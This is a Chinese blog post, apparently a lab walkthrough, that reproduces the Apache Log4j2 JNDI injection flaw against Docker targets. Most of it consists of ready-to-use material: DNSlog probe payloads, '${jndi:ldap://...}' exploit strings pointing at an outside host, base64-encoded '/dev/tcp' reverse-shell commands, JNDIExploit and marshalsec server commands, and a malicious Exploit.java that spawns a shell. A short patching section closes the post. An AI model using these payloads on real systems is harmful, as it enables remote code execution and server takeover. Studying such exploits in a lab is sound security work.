当前位置:网站首页>Apache Log4j2漏洞
Apache Log4j2漏洞
2022-07-30 12:44:00 【曲折上升】
Apache Log4j2简介
Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。该工具重写了
log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组
建等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
Apache Log4j2漏洞简介
log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目
标服务器上执行任意代码。
漏洞影响范围和版本
范围:
Apache Struts2
Apache Solr
Apache Druid
Apache Flink
srping-boot-strater-log4j2
版本:
Apache Log4j 2.0 ~ 2.15.0-rc1
漏洞复现一
- docker搭建靶场环境
docker pull vulfocus/log4j2-rce-2021-12-09
docker run d-ti -p 28080:8080 vulfocus/log4j2-rce-2021-12-09

- 访问靶场环境。

POC测试
- POC1测试:
(1)去dnslog.cn生成一个临时域名。
(2)对该域名进行URL编码。
http://171.16.1.106:8888/hello?payload=
(3)点击Execution执行。

(4)返回dnslog.cn,查看结果
- POC2测试:
使用burpsuite中Decoder模块进行URL编码。
使用burpsuite抓包构造payload。
exp测试
- 下载JNDIExploit工具
https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2
- 使用JNDIExploit工具搭建恶意JNDI服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 171.16.1.105
- 启动监听端口接收shell
nc -lvvp 8888

- 构造EXP
bash -i >& /dev/tcp/1.15.132.67/8888 0>&1
base64编码 -> url编码
YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvODg4OCAwPiYx


YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xLjE1LjEzMi42Ny84ODg4IDA%2BJjE%3D
得到反弹shell的EXP:
${jndi:ldap://1.15.132.67:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xLjE1LjEzMi42Ny84ODg4IDA%2BJjE%3D}
对EXP进行URL编码:
%24%7Bjndi%3Aldap%3A%2F%2F1.15.132.67%3A1389%2FTomcatBypass%2FCommand%2FBase64%2FYmFzaCAtaSA%252BJiAvZGV2L3RjcC8xLjE1LjEzMi42Ny84ODg4IDA%252BJjE%253D%7D

发送Payload请求:
LDAP服务器接收到请求,并传输Payload:
成功得到shell:
漏洞复现二
vim docker-compose.yml把下边内容写进去。
version: '2'
services:
solr:
image: vulhub/solr:8.11.0
ports:
- "8983:8983"
docker-compose up -d

- 访问靶场地址。

Poc测试
- 从dnslog.cn获得临时域名。
- 将域名带入POC进行测试。
http://171.16.1.106:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.v9jz7o.dnslog.cn}

- 执行成功,存在漏洞。

Exp测试
- 下载 JNDI-Injection-Exploit 工具。
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
- 构造命令执行。
监听端口。
bash -i >& /dev/tcp/1.15.132.67/9999 0>&1
ava-runtime-exec转换:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvOTA5MCAwPiYx}|
{base64,-d}|{bash,-i}
工具使用
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “command” -A address
得到反弹shell的EXP,返回浏览器发送!
rmi://1.15.132.67:1099/n69nur
ldap://1.15.132.67:1389/n69nur

- 得到shell。

漏洞复现三
- 编写恶意代码。
Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvOTA5MCAwPiYx} | {base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

编译恶意代码文件。

开启http服务。

启动LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://1.15.132.67:8000/#Exploit" 9999

- 监听端口
nc -lnvp 6666

- url编码转换


- 返回监听窗口getshell。
漏洞修补建议
通用修补建议
升级到最新版本 2.15.0-rc2 :
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
临时修补建议
- 设置JVM启动参数 -Dlog4j2.formatMsgNoLookups=true 。
- 尽量使用JDK 版本大于11.0.1、8u191、7u201、6u211,需要注意的是,即使是使用了 JDK 高版
本也不能完全保证安全,依然存在本地绕过的情况。 - 限制不必要的业务访问外网。
- 采用 rasp 对 lookup 的调用进行阻断。
边栏推荐
- 物理服务器与虚拟机:主要区别和相似之处
- datax开启hana支持以及dolphinscheduler开启datax任务
- 和数集团:让智慧城市更智慧,让现实生活更美好
- 电流电压采集模块DAM-6160
- Unity Beginner 6 - Simple UI production (blood bar production) and audio addition and NPC dialogue bubbles (2d)
- int a=8,a=a++,a? int b=8,b=b+1,b?
- Mysql 批量插入事务唯一键重复处理
- 智能指针实现猜想
- Why is Prometheus a monitoring artifact sufficient to replace Zabbix?
- [BJDCTF2020]Cookie is so stable-1|SSTI注入
猜你喜欢
随机推荐
matlab画图,仅显示部分图例
【23考研】408代码题参考模板——顺序表
AlphaFold预测了几乎所有已知蛋白质!涵盖100万物种2.14亿结构,数据集开放免费用...
Mysql 批量插入事务唯一键重复处理
ModelCoder状态机:对柴油机工况判断策略进行建模
Heshu Group: Make smart cities smarter and make real life better
JD.com was brutally killed by middleware on two sides. After 30 days of learning this middleware booklet, it advanced to Ali.
Parallelized Quick Sort Ideas
CV-Model【2】:MobileNet v1
Lake storehouse which electricity (2) of the project: project using technology and version and the environment
Add the device library after Vivado installation
MySQL【多表查询】
句柄与指针的简单理解
I built another wheel: GrpcGateway
C#实现软键盘的制作
缓存一致性
grep时排除指定的文件和目录
[BJDCTF2020]Cookie is so stable-1|SSTI injection
Dry Goods Sharing: Various Implementation Methods of Bean Management Factory with Great Use of Small Skills
Markdown 1 - 图文音视频等








